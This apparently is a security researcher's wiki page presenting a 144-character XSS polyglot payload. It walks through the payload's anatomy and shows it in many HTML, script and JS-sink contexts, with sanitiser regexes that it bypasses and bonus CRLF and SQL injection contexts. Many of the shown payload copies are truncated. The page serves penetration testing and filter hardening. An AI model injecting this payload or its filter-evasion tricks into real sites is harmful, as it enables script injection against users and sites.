Unleashing an Ultimate XSS Polyglot

Ahmed Elsobky edited this page on Feb 16 · 20 revisions

Foreword:

When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), you're generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suites the specific context at hand. This can be too tedious and time consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.

What is an XSS polyglot?

An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

So, what polyglot you came up with?

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL
```

Anatomy of the polyglot (in a nutshell):

- `jaVasCript:` : A label in ECMAScript; a URI scheme otherwise.
- `/*-/*`/*\`/*'/*"/**/` : A multi-line comment in ECMAScript; a literal-breaker sequence.
- `(/* */oNcliCk=alert() )` : A tangled execution zone wrapped in invoking parenthesis!
- `//%0D%0A%0d%0a//` : A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
- `</stYle/</titLe/</teXtarEa/</scRipt/--!>` : A sneaky HTML-tag-breaker sequence.
- `\x3csVg/<sVg/oNloAd=alert()//>\x3e` : An innocuous svg element.

Total length: 144 characters.

What injection contexts does it cover?

HTML contexts covered:

- **Double-quoted tag attributes:**

```
<input type="text" value="

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL

"></input>
```

Clone this wiki locally

https://github.com/0xSobk

Demo: https://jsbin.com/dopepi

- **Single-quoted tag attributes:**

```
<input type='text' value='

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL

'></input>
```

Demo: https://jsbin.com/diwedo

- **Unquoted tag attributes:**

```
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0
```

Demo: https://jsbin.com/zizuvad

- **Unquoted tag attributes with HTML-escaped values (may require a click):**

```
<img border=3 alt=jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//
```

Demo: https://jsbin.com/gopavuz (note that the click might not be needed with elements that support the `onload` event handler.)

- **`href` / `xlink:href` and `src` attributes with HTML-escaped values:**

```
<a href="
jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;
">click me</a>
```

Demo: https://jsbin.com/kixepi

```
<math xlink:href="
jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;
">click me</math>
```

Demo: https://jsbin.com/bezofuw

```
<iframe src="
jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;
"></iframe>
```

Demo: https://jsbin.com/feziyi

- **HTML comments:**

```
<!--
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL
-->
```

Demo: https://jsbin.com/taqizu

- **Arbitrary common HTML tags:**

```
<title>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL
</title>
```

Demo: https://jsbin.com/juzuvu

```
<style>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL
</style>
```

Demo: https://jsbin.com/qonawa

```
<textarea>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL
</textarea>
```

Demo: https://jsbin.com/mecexo

```
<div>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL
</div>
```

Demo: https://jsbin.com/wuvumuh

Script contexts covered:

- **Double-quoted strings:**

```
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</s
```

Demo: https://jsbin.com/coteco

- **Single-quoted strings:**

```
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</s
```

Demo: https://jsbin.com/bupera

- **Template strings/literals (ES6):**

```
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</s
```

Demo: https://jsbin.com/rewapay

- **Regular expression literals:**

```
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</st
```

Demo: https://jsbin.com/zepiti

- **Single-line and multi-line comments:**

```
<script>
//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</ti
</script>
```

Demo: https://jsbin.com/fatorag

```
<script>
/*

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titL

*/
</script>
```

Demo: https://jsbin.com/vovogo

JS sinks:

- `eval`:

```
eval(location.hash.slice(1));
```

Demo: https://jsbin.com/qejisu#jaVasCript:/-/*%60/%5C%60/*'/%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e*

- `setTimeout`:

```
setTimeout(location.search.slice(1));
```

Demo: https://jsbin.com/qawusa?jaVasCript:/-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/st*

Yle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/-
-!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

- **`setInterval`:**

```
setInterval(location.search.slice(1));
```

Demo: https://jsbin.com/colese?
jaVasCript:/-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/st*
Yle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/-
-!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

- **`Function`:**

```
new Function(location.search.slice(1))();
```

Demo: https://jsbin.com/hizemi?
jaVasCript:/-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/st*
Yle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/-
-!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

- **`innerHTML` / `outerHTML` and `document.write` with HTML-escaped strings:**

```
var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A
document.documentElement.innerHTML = data;
```

Demo: https://jsbin.com/nimokaz

```
var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A
document.head.outerHTML = data;
```

Demo: https://jsbin.com/yowivo

```
var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A
document.write(data);
document.close();
```

Demo: https://jsbin.com/ruhofi

- **Event handlers with HTML-escaped values:**

```
<svg onload="

void 'javascript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a

"></svg>
```

Demo: https://jsbin.com/puboha

Filter evasion:

As you might have already noticed, the polyglot has been crafted with filter evasion in mind. For instance:

- `jaVasCript:`, `oNcliCk=`, et al. bypasses:

```
preg_replace('/\b(?:javascript:|on\w+=)/', '', PAYLOAD);
```

- `/*`/*\`` bypasses:

```
preg_replace('/`/', '\`', PAYLOAD);
```

- `</stYle/</titLe/</teXtarEa/</scRipt/--!>` bypasses:

```
preg_replace('/<\/\w+>/', '', PAYLOAD);
```

- `--!>` bypasses:

```
preg_replace('/-->/', '', PAYLOAD);
```

- `<sVg/oNloAd=alert()//>` bypasses:

```
preg_replace('/<\w+\s+/', '', PAYLOAD);
```

Bonus attacking contexts covered:

CRLF-based XSS:

```
HTTP/1.1 200 OK
Date: Sun, 01 Mar 2016 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: x=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//

//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

Error-based SQL injections (yes, SQLi!):

```
SELECT * FROM Users WHERE Username='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=ale
```

```
SELECT * FROM Users WHERE Username="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=ale
```

And even more; eish...I'm tired counting down already!